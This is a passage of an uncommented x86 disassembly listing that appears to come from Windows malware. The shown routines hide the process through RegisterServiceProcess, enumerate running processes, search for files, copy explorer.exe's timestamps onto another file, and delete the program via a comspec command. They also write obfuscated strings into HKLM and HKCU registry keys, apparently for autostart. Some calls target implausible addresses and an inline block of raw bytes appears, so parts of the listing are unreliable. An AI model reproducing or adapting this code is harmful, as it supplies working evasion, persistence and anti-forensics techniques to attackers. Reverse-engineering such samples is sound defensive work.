edx call sub_401523 add esp, 10h loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j mov eax, [esp+280h+var_219] push eax call sub_401E24 add esp, 4 push ebx nop call near ptr 29B0229h pop ebx loc_40CDAE: ; CODE XREF: sub_40CBB0+36j mov ecx, [esp+280h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 27Ch retn 4 sub_40CBB0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: sub_40198Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CE60 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+4] call sub_401424 lea ecx, [esi+19h] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+2Eh] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_40CE60 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CEE0: ; CODE XREF: ___:loc_40226Bj push 0FFFFFFFFh push offset loc_438D86 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+4], esi lea ecx, [esi+2Eh] mov dword ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+19h] mov byte ptr [esp+10h], 0 call sub_401226 lea ecx, [esi+4] mov dword ptr [esp+10h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CF60 proc near ; CODE XREF: sub_402257j var_548 = byte ptr -548h var_51C = byte ptr -51Ch var_51B = byte ptr -51Bh var_408 = byte ptr -408h var_304 = byte ptr -304h var_200 = byte ptr -200h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h arg_14 = dword ptr 18h sub esp, 548h lea eax, [esp+548h+var_408] push ebx push ebp push esi mov esi, [esp+554h+arg_10] push edi mov edi, dword_50FAD8 push esi push offset aS_2 ; "%s\\*" push 104h push eax call edi ; _snprintf add esp, 10h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx nop call near ptr 29F0000h mov ebp, [esp+558h+arg_14] mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D027 loc_40CFB0: ; CODE XREF: sub_40CF60+C5j test [esp+558h+var_548], 10h jz short loc_40D017 cmp [esp+558h+var_51C], 2Eh jnz short loc_40CFCA mov al, [esp+558h+var_51B] test al, al jz short loc_40D017 cmp al, 2Eh jz short loc_40D017 loc_40CFCA: ; CODE XREF: sub_40CF60+5Cj lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_304] push eax push esi push offset dword_443684 push 104h push ecx call edi ; _snprintf mov eax, [esp+56Ch+arg_C] mov ecx, [esp+56Ch+arg_8] lea edx, [esp+56Ch+var_304] push ebp push edx mov edx, [esp+574h+arg_4] push eax mov eax, [esp+578h+arg_0] push ecx push edx push eax call sub_402257 add esp, 2Ch mov ebp, eax loc_40D017: ; CODE XREF: sub_40CF60+55j ; sub_40CF60+64j ... lea ecx, [esp+558h+var_548] push ecx push ebx nop call near ptr 29E0000h test eax, eax jnz short loc_40CFB0 loc_40D027: ; CODE XREF: sub_40CF60+4Ej push ebx call near ptr 29D068Ah nop mov edx, [esp+558h+arg_C] lea eax, [esp+558h+var_408] push edx push esi push offset dword_443684 push 104h push eax call edi ; _snprintf add esp, 14h lea ecx, [esp+558h+var_548] lea edx, [esp+558h+var_408] push ecx push edx call near ptr 29F0000h nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz short loc_40D0BB loc_40D068: ; CODE XREF: sub_40CF60+159j lea eax, [esp+558h+var_51C] lea ecx, [esp+558h+var_200] push eax push esi push offset aFoundSS ; "Found: %s\\%s" push 200h push ecx inc ebp call edi ; _snprintf mov edx, [esp+56Ch+arg_8] mov ecx, [esp+56Ch+arg_4] lea eax, [esp+56Ch+var_200] push edx mov edx, [esp+570h+arg_0] push eax push ecx push edx call sub_401523 add esp, 24h lea eax, [esp+558h+var_548] push eax push ebx nop call near ptr 29E0000h test eax, eax jnz short loc_40D068 loc_40D0BB: ; CODE XREF: sub_40CF60+106j push ebx nop call near ptr 29D068Ah pop edi mov eax, ebp pop esi pop ebp pop ebx add esp, 548h retn sub_40CF60 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D130 proc near ; CODE XREF: sub_40104Bj var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40D130 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 4 push 4 push 1 push 13h lea eax, [esp+58h+var_3C] push 1 mov esi, ecx push eax call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017E4 lea ecx, [esi+19h] push eax push ecx mov ecx, offset dword_447148 call sub_401591 sub_40D130 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 13h lea edx, [esp+1Ch] push 1 push edx call sub_4019B5 add esp, 1Ch push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017E4 push eax lea eax, [esi+47h] push eax mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 4 push 4 push 1 push 3 push 16h lea ecx, [esp+20h] push 13h push ecx call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017E4 lea edx, [esi+75h] push eax push edx mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 5 push 4 push 3 push 16h push 13h lea eax, [esp+3Ch] push eax call sub_4019B5 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017E4 add esi, 0A3h push eax push esi mov ecx, offset dword_447148 call sub_401591 ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D2E0: ; CODE XREF: ___:004013CAj sub esp, 104h lea eax, [esp+0] push 104h push eax push 0 nop call near ptr 29F1D0Eh push eax call near ptr 29F12A3h nop mov eax, dword_4470A0 test eax, eax jz loc_40D403 mov ecx, dword_44709C test ecx, ecx jz loc_40D403 mov ecx, dword_446F68 test ecx, ecx jz loc_40D403 push 0 push 2 call eax ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov dword_447098, eax jz loc_40D403 push ebp push offset dword_446F70 push eax xor ebp, ebp mov dword_446F70, 128h call dword_44709C ; Process32First test eax, eax jz loc_40D3EC push ebx mov ebx, [esp+110h] push esi mov esi, dword_50FAD4 push edi loc_40D36D: ; CODE XREF: ___:0040D3E7j mov edi, offset dword_446F94 or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+10h] repne scasb not ecx dec ecx mov edi, offset dword_446F94 push ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx lea edi, [esp+14h] sub edx, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx push offset dword_446F94 add edx, ecx push edx call esi ; strncmp add esp, 0Ch test eax, eax jz short loc_40D3D3 mov edi, offset dword_446F94 or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push offset dword_446F94 mov ecx, ebx call sub_401681 push eax call esi ; strncmp add esp, 0Ch test eax, eax jnz short loc_40D3D4 loc_40D3D3: ; CODE XREF: ___:0040D3ABj inc ebp loc_40D3D4: ; CODE XREF: ___:0040D3D1j mov eax, dword_447098 push offset dword_446F70 push eax call dword_446F68 ; Process32Next test eax, eax jnz short loc_40D36D pop edi pop esi pop ebx loc_40D3EC: ; CODE XREF: ___:0040D357j mov ecx, dword_447098 push ecx call near ptr 29B0989h nop mov eax, ebp pop ebp add esp, 104h retn ; --------------------------------------------------------------------------- loc_40D403: ; CODE XREF: ___:0040D306j ; ___:0040D314j ... xor eax, eax add esp, 104h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_40D460: ; CODE XREF: ___:00401F91j sub esp, 11Ch lea eax, [esp+18h] push ebx push esi push edi push 104h push eax nop call near ptr 2A00B37h mov edi, offset aExplorer_exe ; "\\explorer.exe" or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+24h] repne scasb not ecx sub edi, ecx push eax mov esi, edi mov ebx, ecx mov edi, edx or ecx, 0FFFFFFFFh repne scasb mov ecx, ebx dec edi shr ecx, 2 rep movsd mov ecx, ebx push 80h and ecx, 3 push 3 push eax push 1 rep movsb mov edi, dword_50F8E8 lea eax, [esp+38h] push 80000000h push eax call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea ecx, [esp+1Ch] lea edx, [esp+0Ch] push ecx lea eax, [esp+18h] push edx push eax push esi nop call near ptr 2A006E6h mov ebx, dword_50F8D8 push esi call ebx mov ecx, [esp+12Ch] push 0 push 80h push 3 push 0 push 2 push 40000000h push ecx call edi mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40D526 lea edx, [esp+1Ch] lea eax, [esp+0Ch] push edx lea ecx, [esp+18h] push eax push ecx push esi nop call near ptr 2A00000h push esi call ebx loc_40D526: ; CODE XREF: ___:0040D4C9j ; ___:0040D50Bj pop edi pop esi pop ebx add esp, 11Ch retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40D580 proc near ; CODE XREF: sub_401B59j var_19C = byte ptr -19Ch var_184 = byte ptr -184h var_16C = byte ptr -16Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_40D580 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 190h push ebx push esi mov esi, ecx push edi lea ecx, [esp+1A8h+var_16C] call sub_401424 push 104h push 104h lea ecx, [esp+1B0h+var_16C] mov [esp+1B0h+var_4], 0 call sub_401C5D push eax nop call near ptr 2960961h lea ecx, [esp+1A8h+var_16C] call sub_4017E4 push eax lea ecx, [esi+4] call sub_4015D7 lea ecx, [esp+1A8h+var_184] call sub_401424 mov ebx, 1 push 104h push 104h lea ecx, [esp+1B0h+var_184] mov byte ptr [esp+1B0h+var_4], bl call sub_401C5D push eax push 0 nop call near ptr 29F1D0Eh push eax nop call near ptr 29F12A3h push offset aKernel32_dll_0 ; "kernel32.dll" call near ptr 2950856h nop mov esi, eax test esi, esi jz short loc_40D671 mov edi, dword_50F8A0 push offset aRegisterservic ; "RegisterServiceProcess" push esi call edi push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot" push esi mov dword_4470A4, eax call edi push offset aProcess32first ; "Process32First" push esi mov dword_4470A0, eax call edi push offset aProcess32next ; "Process32Next" push esi mov dword_44709C, eax call edi mov dword_446F68, eax mov eax, dword_4470A4 test eax, eax jz short loc_40D671 push ebx push 0 call eax loc_40D671: ; CODE XREF: sub_40D580+A7j ; sub_40D580+EAj mov esi, [esp+1A8h+arg_0] push 0 mov ecx, esi call sub_4017E4 push eax lea ecx, [esp+1B0h+var_184] call sub_402117 test eax, eax jnz short loc_40D6A8 mov al, byte_44718F test al, al jz short loc_40D6A8 mov ecx, esi call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 loc_40D6A8: ; CODE XREF: sub_40D580+10Dj ; sub_40D580+116j push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 12h push 10h push 10h push 0Eh push 9 lea eax, [esp+1D8h+var_19C] push 17h push eax call sub_4019B5 add esp, 38h mov ecx, eax mov byte ptr [esp+1A8h+var_4], 2 call sub_4017E4 push eax call sub_4015FA sub_40D580 endp ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push 0Fh push 8 push 0Ch push 0Ch lea ecx, [esp+38h] push 4 push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 3 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 4 push 10h push 14h push 6 lea edx, [esp+30h] push 14h push edx call sub_4019B5 add esp, 2Ch mov ecx, eax mov byte ptr [esp+1A4h], 4 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 14h push 13h push ebx push 0Ch push 2 push 13h lea eax, [esp+38h] push 0Dh push eax call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 5 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 46h push 47h push 13h push 9 push 0Eh push 5 lea ecx, [esp+38h] push 10h push ecx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 6 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- add esp, 4 lea ecx, [esp+0Ch] mov [esp+1A4h], bl call sub_401226 push 0 push 5 push 18h push 5 push 4Eh push 8 push 3 push 14h push ebx push 10h push 13h lea edx, [esp+38h] push 0Dh push edx call sub_4019B5 add esp, 34h mov ecx, eax mov byte ptr [esp+1A4h], 7 call sub_4017E4 push eax call sub_4015FA ; --------------------------------------------------------------------------- db 83h dd 4C8D04C4h, 9C880C24h, 1A424h, 39B4E800h, 448DFFFFh dd 6A3C24h, 244C8D50h, 3F85E82Ch, 0C085FFFFh, 116850Fh dd 8B550000h, 3F52E8CEh, 6A50FFFFh, 244C8D5Ch, 3F46E848h dd 8D50FFFFh, 0A8248Ch, 28680000h, 5100443Bh, 0C90BE890h dd 3D8B001Dh, 50F8A4h, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah dd 8B30244Ch, 3DAFE8E8h, 358BFFFFh, 50F90Ch, 85D6FF50h dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h dd 5A270BE8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3D79h dd 85D6FF50h, 0A0D074C0h, 4477EBh, 74C0845Dh, 0CC358B39h dd 680050FAh, 104h, 9C248C8Dh, 68000000h, 443B20h, 83D6FF51h dd 4C8D0CC4h, 4682424h, 0E8000001h, 0FFFF3EA0h, 9C24948Dh dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah dd 447C24h, 0E8900000h, 256266Ch, 874C085h, 0E890006Ah dd 7782C4DEh, 24244C8Dh, 0A42484C6h, 1, 0FF3875E8h, 244C8DFFh dd 2484C73Ch, 1A4h, 0FFFFFFFFh, 0FF3861E8h, 248C8BFFh dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0 ; --------------------------------------------------------------------------- add esp, 19Ch retn 4 ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 120h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB10 proc near ; CODE XREF: sub_401195j mov al, byte_447191 test al, al jz short loc_40DB24 push offset word_447192 nop call near ptr 29607C2h loc_40DB24: ; CODE XREF: sub_40DB10+7j mov al, 1 retn sub_40DB10 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40DB40 proc near ; CODE XREF: sub_401E5Bj var_6D0 = dword ptr -6D0h var_6CC = dword ptr -6CCh var_6C8 = dword ptr -6C8h var_6C4 = dword ptr -6C4h var_6C0 = dword ptr -6C0h var_6BC = dword ptr -6BCh var_6B8 = dword ptr -6B8h var_6B4 = dword ptr -6B4h var_6B0 = byte ptr -6B0h var_6AC = byte ptr -6ACh var_694 = byte ptr -694h var_67C = byte ptr -67Ch var_664 = byte ptr -664h var_64C = byte ptr -64Ch var_634 = byte ptr -634h var_61C = byte ptr -61Ch var_604 = byte ptr -604h var_5EC = byte ptr -5ECh var_5D4 = byte ptr -5D4h var_5BC = byte ptr -5BCh var_5A4 = byte ptr -5A4h var_58C = byte ptr -58Ch var_574 = byte ptr -574h var_564 = dword ptr -564h var_534 = word ptr -534h var_520 = byte ptr -520h var_41C = byte ptr -41Ch var_318 = byte ptr -318h var_214 = byte ptr -214h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40DB40 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 6C4h push esi lea eax, [esp+6D4h+var_41C] push 104h push eax push 0 call near ptr 29F1D0Eh nop push eax nop call near ptr 29F12A3h lea ecx, [esp+6D4h+var_318] push ecx push 104h nop call near ptr 2940000h push 0 push 14h push 1 push 2 push 4Fh push 0Fh push 12h push 6 lea edx, [esp+6F4h+var_5EC] push 1 push edx call sub_4019B5 add esp, 28h mov ecx, eax mov [esp+6D4h+var_4], 0 call sub_4017E4 push eax lea eax, [esp+6D8h+var_318] push eax lea ecx, [esp+6DCh+var_520] push offset dword_443684 push ecx call sub_5EA1BD nop add esp, 10h lea ecx, [esp+6D4h+var_5EC] mov [esp+6D4h+var_4], 0FFFFFFFFh call sub_401226 push 0 push 0 push 2 push 0 push 0 lea edx, [esp+6E8h+var_520] push 40000000h push edx call near ptr 29D03E9h nop mov esi, eax test esi, esi jbe loc_40E0A1 push ebx push ebp push edi lea ecx, [esp+6E0h+var_6AC] call sub_401424 push 0 push 14h push 1 push 2 lea eax, [esp+6F0h+var_604] push 4Fh push eax mov [esp+6F8h+var_4], 1 call sub_4019B5 add esp, 18h mov edi, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 0Ch push 5 lea ecx, [esp+708h+var_634] push 4 push ecx mov byte ptr [esp+710h+var_4], 2 call sub_4019B5 add esp, 30h mov ebp, eax push 0 push 14h push 1 push 2 lea edx, [esp+6F0h+var_664] push 4Fh push edx mov byte ptr [esp+6F8h+var_4], 3 call sub_4019B5 add esp, 18h mov ebx, eax push 0 push 39h push 10h push 0Dh push 5 push 14h push 39h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea eax, [esp+714h+var_67C] push 4 push eax mov byte ptr [esp+71Ch+var_4], 4 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6B4], eax push 0 push 5 push 0Eh push 0Fh push 4 lea ecx, [esp+6F4h+var_61C] push 53h push ecx mov byte ptr [esp+6FCh+var_4], 5 call sub_4019B5 add esp, 1Ch mov [esp+6E0h+var_6C8], eax push 0 push 14h push 12h push 1 push 14h push 13h push 4Eh push 0Fh push 14h push 0Fh lea edx, [esp+708h+var_5D4] push 7 push edx mov byte ptr [esp+710h+var_4], 6 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6B8], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 0Ch push 5 lea eax, [esp+708h+var_5A4] push 4 push eax mov byte ptr [esp+710h+var_4], 7 call sub_4019B5 add esp, 30h mov [esp+6E0h+var_6C0], eax push 0 push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 20h push 52h push 4Eh push 0Ch push 5 lea ecx, [esp+714h+var_58C] push 4 push ecx mov byte ptr [esp+71Ch+var_4], 8 call sub_4019B5 add esp, 3Ch mov [esp+6E0h+var_6D0], eax push 0 push 5 push 0Eh push 0Fh push 4 push 4Eh push 0Fh push 14h push 0Fh push 7 push 4Eh push 54h push 54h push 45h push 39h push 54h push 54h push 4Eh push 14h push 13h push 9 mov byte ptr [esp+734h+var_4], 9 push 18h push 5 push 4Eh push 14h push 0Fh push 0Eh push 4Eh push 6 lea edx, [esp+754h+var_694] push 9 push edx call sub_4019B5 add esp, 7Ch mov [esp+6E0h+var_6CC], eax push 0 push 14h push 12h push 1 push 14h push 13h lea eax, [esp+6F8h+var_5BC] push 53h push eax mov byte ptr [esp+700h+var_4], 0Ah call sub_4019B5 add esp, 20h mov [esp+6E0h+var_6C4], eax push 0 push 6 push 6 push 0Fh push 4Eh push 0Fh push 8 push 3 push 5 lea ecx, [esp+704h+var_64C] push 56h push ecx mov byte ptr [esp+70Ch+var_4], 0Bh call sub_4019B5 add esp, 2Ch mov [esp+6E0h+var_6BC], eax mov ecx, edi mov byte ptr [esp+6E0h+var_4], 0Ch call sub_4017E4 push eax mov ecx, ebp call sub_4017E4 push eax mov ecx, ebx call sub_4017E4 mov ecx, [esp+6E8h+var_6B4] push eax call sub_4017E4 mov ecx, [esp+6ECh+var_6C8] push eax call sub_4017E4 mov ecx, [esp+6F0h+var_6B8] push eax call sub_4017E4 mov ecx, [esp+6F4h+var_6C0] push eax call sub_4017E4 mov ecx, [esp+6F8h+var_6D0] push eax call sub_4017E4 mov ecx, [esp+6FCh+var_6CC] push eax call sub_4017E4 mov ecx, [esp+700h+var_6C4] push eax call sub_4017E4 mov ecx, [esp+704h+var_6BC] push eax call sub_4017E4 push eax push offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n" lea edx, [esp+710h+var_6AC] push edx call sub_40102D add esp, 34h lea ecx, [esp+6E0h+var_64C] mov byte ptr [esp+6E0h+var_4], 0Bh call sub_401226 lea ecx, [esp+6E0h+var_5BC] mov byte ptr [esp+6E0h+var_4], 0Ah call sub_401226 lea ecx, [esp+6E0h+var_694] mov byte ptr [esp+6E0h+var_4], 9 call sub_401226 lea ecx, [esp+6E0h+var_58C] mov byte ptr [esp+6E0h+var_4], 8 call sub_401226 lea ecx, [esp+6E0h+var_5A4] mov byte ptr [esp+6E0h+var_4], 7 call sub_401226 lea ecx, [esp+6E0h+var_5D4] mov byte ptr [esp+6E0h+var_4], 6 call sub_401226 lea ecx, [esp+6E0h+var_61C] mov byte ptr [esp+6E0h+var_4], 5 call sub_401226 lea ecx, [esp+6E0h+var_67C] mov byte ptr [esp+6E0h+var_4], 4 call sub_401226 lea ecx, [esp+6E0h+var_664] mov byte ptr [esp+6E0h+var_4], 3 call sub_401226 lea ecx, [esp+6E0h+var_634] mov byte ptr [esp+6E0h+var_4], 2 call sub_401226 lea ecx, [esp+6E0h+var_604] mov byte ptr [esp+6E0h+var_4], 1 call sub_401226 lea eax, [esp+6E0h+var_6B0] push 0 push eax push 69h lea ecx, [esp+6ECh+var_6AC] call sub_4017E4 push eax push esi nop call near ptr 2950000h push esi nop call near ptr 29B0989h mov ecx, 11h xor eax, eax lea edi, [esp+6E0h+var_564] push 104h rep stosd lea ecx, [esp+6E4h+var_41C] mov [esp+6E4h+var_564], 44h push ecx push eax mov [esp+6ECh+var_534], ax nop call near ptr 29F1D0Eh push eax nop call near ptr 29F12A3h lea edx, [esp+6E0h+var_41C] lea eax, [esp+6E0h+var_520] push edx push eax lea ecx, [esp+6E8h+var_214] push offset aComspecCSS ; "%%comspec%% /c %s %s" push ecx nop call sub_5EA1BD add esp, 10h lea edx, [esp+6E0h+var_110] lea eax, [esp+6E0h+var_214] push 104h push edx push eax nop call near ptr 2980000h lea ecx, [esp+6E0h+var_574] lea edx, [esp+6E0h+var_564] push ecx push edx push 0 push 0 push 28h push 1 push 0 lea eax, [esp+6FCh+var_110] push 0 push eax push 0 call near ptr 2970000h nop lea ecx, [esp+6E0h+var_6AC] mov [esp+6E0h+var_4], 0FFFFFFFFh call sub_401226 pop edi pop ebp pop ebx mov al, 1 pop esi mov ecx, [esp+6D0h+var_C] mov large fs:0, ecx add esp, 6D0h retn ; --------------------------------------------------------------------------- loc_40E0A1: ; CODE XREF: sub_40DB40+D6j mov ecx, [esp+6D4h+var_C] mov al, 1 pop esi mov large fs:0, ecx add esp, 6D0h retn sub_40DB40 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40E220 proc near ; CODE XREF: sub_401726j var_70 = dword ptr -70h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 0FFFFFFFFh push offset SEH_40E220 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push ebp push esi push edi lea ecx, [esp+80h+var_54] call sub_401424 lea ecx, [esp+80h+var_6C] mov [esp+80h+var_4], 0 call sub_401424 lea ecx, [esp+80h+var_3C] mov byte ptr [esp+80h+var_4], 1 call sub_401424 push 0 push 5 push 3 push 0Eh push 29h push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea eax, [esp+144h+var_24] mov bl, 2 push 2Dh push eax mov byte ptr [esp+14Ch+var_4], bl call sub_4019B5 add esp, 0CCh push eax lea ecx, [esp+84h+var_6C] mov byte ptr [esp+84h+var_4], 3 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 13h push 5 push 3 push 9 push 16h push 12h push 5 push 2Dh push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea ecx, [esp+154h+var_24] push 2Dh push ecx call sub_4019B5 add esp, 0DCh push eax lea ecx, [esp+84h+var_3C] mov byte ptr [esp+84h+var_4], 4 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 push 0 push 0Eh push 15h push 2Ch push 50h push 0Eh push 0Fh push 9 push 13h push 12h push 5 push 30h push 14h push 0Eh push 5 push 12h push 12h push 15h push 1Dh push 50h push 13h push 17h push 0Fh push 4 push 0Eh push 9 push 31h push 50h push 14h push 6 push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 27h push 50h push 5 push 12h push 1 push 17h push 14h push 6 push 0Fh lea edx, [esp+134h+var_24] push 2Dh push edx call sub_4019B5 add esp, 0BCh push eax lea ecx, [esp+84h+var_54] mov byte ptr [esp+84h+var_4], 5 call sub_40200E lea ecx, [esp+80h+var_24] mov byte ptr [esp+80h+var_4], bl call sub_401226 lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 mov ebp, dword_50F754 push eax push 80000002h call ebp mov esi, [esp+80h+arg_4] mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 mov ebx, [esp+84h+arg_0] push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2AB0000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2A70000h push 0 lea eax, [esp+84h+var_70] lea ecx, [esp+84h+var_6C] push eax push 0 push 0F003Fh push 0 push 0 push 0 call sub_4017E4 push eax push 80000002h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx call near ptr 2AB0000h nop mov edx, [esp+80h+var_70] push edx call near ptr 2A70000h nop lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_54] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 mov ecx, [esp+90h+var_70] push eax push ecx nop call near ptr 2AB0000h mov edx, [esp+80h+var_70] push edx nop call near ptr 2A70000h lea eax, [esp+80h+var_70] push 0 push eax push 0 push 0F003Fh push 0 push 0 push 0 lea ecx, [esp+9Ch+var_6C] call sub_4017E4 push eax push 80000001h call ebp mov ecx, esi call sub_401681 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx mov ecx, esi call sub_401681 push eax push 1 push 0 mov ecx, ebx call sub_401681 